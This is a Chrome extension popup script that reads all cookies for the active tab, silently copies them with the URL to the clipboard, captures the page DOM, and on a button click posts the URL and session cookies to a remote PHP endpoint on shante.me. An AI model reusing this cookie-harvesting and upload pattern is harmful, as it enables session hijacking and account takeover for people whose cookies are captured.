console.log("popup script loaded and running");
let abortController;
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
  if (message.outerHTML) {
    document.getElementById('outerHTML').innerText = message.outerHTML;
  }
});

document.addEventListener('DOMContentLoaded', function () {
  let cookiestr = "";
  chrome.tabs.query({active: true, currentWindow: true}, function (tabs) {
    var tab = tabs[0];
    var url = tab.url;
    console.log(url);
    var urlElement = document.getElementById('urlElement');
    urlElement.textContent = url;

    //获得cookie
    chrome.runtime.sendMessage({action: "getcookies", url: tab.url}, function (response) {
      if (chrome.runtime.lastError) {
        console.error("Error sending message:", chrome.runtime.lastError.message);
        return;
      }
      var cookiesList = document.getElementById('cookies-list');
      var listItem = document.createElement('li');
      console.log(JSON.stringify(response.cookies));
      document.getElementById('cookiesjson').value=JSON.stringify(response.cookies);
      response.cookies.forEach(function (cookie) {
        cookiestr += '' + cookie.name + '=' + cookie.value + ";";
      });
      listItem.innerHTML = cookiestr;
      cookiesList.appendChild(listItem);
      if(!/https:\/\/shante\.me/.test(url)){
        const textarea = document.createElement('textarea');
        textarea.value = url + "###" + cookiestr;
        document.body.appendChild(textarea);
        textarea.select();
        document.execCommand('copy');
        document.body.removeChild(textarea);
      }
      console.log('Preparing to send fetch request with cookies:', cookiestr);
      html = document.getElementById('outerHTML').innerText;
    });


    //记录登陆cookie
    document.getElementById('writecookies').addEventListener('click', () => {
      chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
        if (tabs.length > 0 && tabs[0].id) {
          chrome.scripting.executeScript(
              {
                target: { tabId: tabs[0].id },
                func: () => document.documentElement.outerHTML,
              },
              (results) => {
                if (results && results.length > 0) {
                  html=results[0].result;
                  cookie=document.querySelector('#cookies-list>li').innerHTML;
                  cookiesjson=document.getElementById('cookiesjson').value;
                  var urlElement = document.getElementById('urlElement');
                  s_url=urlElement.innerText;
                  sendFetchRequest('https://shante.me/public/chrome/setcookie.php?XDEBUG_SESSION_START=54325', s_url,cookiestr,cookiesjson, html);
                } else {
                  document.getElementById('outerHTML').innerText = 'Failed to fetch DOM.';
                }
              }
          );
        } else {
          console.error('No active tab found.');
          document.getElementById('dom-output').textContent = 'No active tab found.';
        }
      });
    });





    chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
      if (tabs.length > 0 && tabs[0].id) {
        chrome.scripting.executeScript(
            {
              target: {tabId: tabs[0].id},
              func: () => {
                element2="";
                const element = document.querySelector('.treeview-menu .active');
                try{
                  const element2 = document.querySelector('#webview').contentDocument.location.href;
                }catch (Element){

                }
                return {
                  elementHTML: element ? element.innerText : 'Element not found',
                  IFrameSrc: element2 ? element2 : '',
                  documentHTML: document.documentElement.outerHTML
                };
              }
            },
            (results) => {
              if (results && results.length > 0) {
                document.getElementById('Element').innerText = results[0].result.elementHTML;
                if(results[0].result.elementHTML=="商品录入"){
                  chrome.scripting.executeScript({
                    target: { tabId: tabs[0].id },
                    func: () => {
                      //top.document.getElementById('webview').contentWindow.document.querySelector("#sourceurl").value = "http://www.baidu.com";
                    }
                  });
                }
                document.getElementById('IFrame').innerText = results[0].result.IFrameSrc;
              } else {
                document.getElementById('dom-output').textContent = 'Failed to fetch DOM.';
              }
            }
        );
      }
    });
    document.getElementById('fetch-dom').addEventListener('click', () => {
      chrome.tabs.query({ active: true, currentWindow: true }, (tabs) => {
        if (tabs.length > 0 && tabs[0].id) {
          chrome.scripting.executeScript(
              {
                target: { tabId: tabs[0].id },
                func: () => document.documentElement.outerHTML,
              },
              (results) => {
                if (results && results.length > 0) {
                  document.getElementById('outerHTML').innerText = results[0].result;
                } else {
                  document.getElementById('outerHTML').innerText = 'Failed to fetch DOM.';
                }
              }
          );
        } else {
          console.error('No active tab found.');
          document.getElementById('dom-output').textContent = 'No active tab found.';
        }
      });
    });


  });
});



// 发送 fetch 请求的函数
function sendFetchRequest(url,s_url,cookiestr,cookiesjson,html) {

  //alert(url+"\n\n"+cookiestr);
  // 如果之前有 fetch 请求在执行，则中止之前的请求
  if (abortController) {
    abortController.abort();
  }

  // 创建一个新的 AbortController
  abortController = new AbortController();
  const signal = abortController.signal;
  const data = {
    url: s_url,
    cookie: cookiestr,
    cookiesjson:cookiesjson
    //html: html
  };
  // 发送 fetch 请求
  fetch(url, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify(data),
    signal: signal
  })
      .then(response => {
        debugger;
        if (!response.ok) {
          throw new Error('Network response was not ok');
        }
        document.querySelector("#message").innerText=response.message;
        return response.json();
      })
      .then(data => {
        console.log('Fetch request successful:', data);
      })
      .catch(error => {
        if (error.name === 'AbortError') {
          console.log('Previous fetch request aborted');
        } else {
          console.error('Fetch request failed:', error);
        }
      });
}















